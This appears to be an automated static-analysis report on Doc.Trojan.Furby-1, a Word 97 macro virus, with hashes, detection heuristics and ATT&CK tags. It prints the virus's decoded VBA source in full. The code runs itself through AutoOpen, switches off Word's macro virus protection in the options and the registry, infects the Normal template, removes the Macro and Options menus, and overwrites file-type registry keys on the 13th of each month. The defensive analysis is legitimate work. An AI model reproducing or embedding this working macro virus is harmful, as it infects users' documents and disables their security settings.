Doc.Trojan.Furby-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 7cf2f0c748bc3900…

MALICIOUS

Office (OLE)

34.0 KB Created: 1998-12-06 08:22:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: cb2d71312d1abb55cadf7f41dac59441 SHA-1: 17a187507ff92e9d8778d9c4beda1e77f3a90722 SHA-256: 7cf2f0c748bc39000814ce274b208476a4009065227ef649748298493b9c9e18
240 Risk Score

Malware Insights

Doc.Trojan.Furby-1 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as Doc.Trojan.Furby-1 by ClamAV, indicating a known malicious document. The presence of AutoOpen and Auto_Close VBA macros, along with legacy WordBasic markers, confirms the use of macro-based execution. The VBA script attempts to modify registry keys, likely to establish persistence or alter system behavior, as seen with the `System.PrivateProfileString` calls.

Heuristics 5

  • ClamAV: Doc.Trojan.Furby-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Furby-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14053 bytes
SHA-256: b2829c25586e1bfc4905b45dfa654690df2482ba0fd670350faa7808c8b1967b
Detection
ClamAV: Doc.Trojan.Furby-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error GoTo furby
Options.VirusProtection = Chr(48): Options.SaveNormalPrompt = Chr(48): Options.ConfirmConversions = Chr(48): x = 0: o = 0
rt = ActiveDocument.VBProject.VBComponents.Item(Abs(1)).codemodule.countoflines

st = NormalTemplate.VBProject.VBComponents.Item(Abs(1)).codemodule.countoflines
If st > 0 And rt > 0 Then GoTo furby
If st = 0 Then
    Set rl = NormalTemplate.VBProject.VBComponents

    Set hst = ActiveDocument.VBProject.VBComponents
    If Month(Now()) = 1 And Day(Now()) = 13 Then System.PrivateProfileString("", "HKEY_CLASSES_ROOT\Word.Document.8", "") = "It's Furby!"
    If Month(Now()) = 2 And Day(Now()) = 13 Then System.PrivateProfileString("", "HKEY_CLASSES_ROOT\Word.Addin.8", "") = "Microsoft Furby Addin"
    If Month(Now()) = 3 And Day(Now()) = 13 Then System.PrivateProfileString("", "HKEY_CLASSES_ROOT\Word.Document.8", "") = "Word Furby Document"

    If Month(Now()) = 4 And Day(Now()) = 13 Then System.PrivateProfileString("", "HKEY_CLASSES_ROOT\Word.Application.8", "") = "Microsoft Furby Application"
    If Month(Now()) = 5 And Day(Now()) = 13 Then System.PrivateProfileString("", "HKEY_CLASSES_ROOT\Word.Template.8", "") = "Microsoft Furby Template"
    If Month(Now()) = 6 And Day(Now()) = 13 Then System.PrivateProfileString("", "HKEY_CLASSES_ROOT\PowerPoint.Template.8", "") = "PowerPoint Furby Template"
    If Month(Now()) = 7 And Day(Now()) = 13 Then System.PrivateProfileString("", "HKEY_CLASSES_ROOT\Word.RTF.8", "") = "Rich Furby Format"

    If Month(Now()) = 8 And Day(Now()) = 13 Then System.PrivateProfileString("", "HKEY_CLASSES_ROOT\Word.Wizard.8", "") = "Microsoft Furby Wizard"
    If Month(Now()) = 9 And Day(Now()) = 13 Then System.PrivateProfileString("", "HKEY_CLASSES_ROOT\Word.Picture.8", "") = "Microsoft Furby Picture"
    If Month(Now()) = 10 And Day(Now()) = 13 Then System.PrivateProfileString("", "HKEY_CLASSES_ROOT\PowerPoint.Show.8", "") = "Microsoft Furby Presentation"
    If Month(Now()) = 11 And Day(Now()) = 13 Then System.PrivateProfileString("", "HKEY_CLASSES_ROOT\ExcelWorksheet", "") = "Microsoft Furby Worksheet"

    If Month(Now()) = 12 And Day(Now()) = 13 Then System.PrivateProfileString("", "HKEY_CLASSES_ROOT\PowerPoint.Slide.8", "") = "Microsoft Furby Slide"
    hst.Item(Abs(1)).Name = rl.Item(Abs(1)).Name
    hst.Item(Abs(1)).Export Application.StartupPath & System.OperatingSystem
End If

If rt = 0 Then Set rl = ActiveDocument.VBProject.VBComponents
rl.Item(Abs(1)).codemodule.AddFromFile Application.StartupPath & System.OperatingSystem
With rl.Item(Abs(1)).codemodule
    For j = Chr(49) To Chr(52)

    .deletelines Chr(49)
        Next j
End With
With rl.Item(Abs(1)).codemodule

 For j = Chr(53) To rl.Item(Abs(1)).codemodule.countoflines Step Chr(53)
    x = Int(Rnd(412835) * 303989) + 8485
    o = Int(Rnd(487958) * 785865) + 2988
    .replaceline j, Chr(39) & x * o & o * x & x * o

    Next j
 End With
System.PrivateProfileString("", "HKEY_USERS\.Default\Software\Microsoft\Office\8.0\Word\Options", "EnableMacroVirusProtection") = "0"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Word\Options", "EnableMacroVirusProtection") = "0"

If st = 0 Then CommandBars("tools").Controls("Macro").Delete
If st = 0 Then CommandBars("tools").Controls("Options...").Delete
If st = 0 Then rl.Item(Abs(1)).codemodule.replaceline 1, "Sub AutoClose()"
If st = 0 And rt = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName

furby:
If st <> 0 And rt = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End Sub 'WM97/Furby by Virus :) Smile

' Processing file: /opt/analyzer/scan_staging/7d00c90d9f0748d0b52b5718ed43e02e.bin
' ===============================================================================
' Module streams:
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.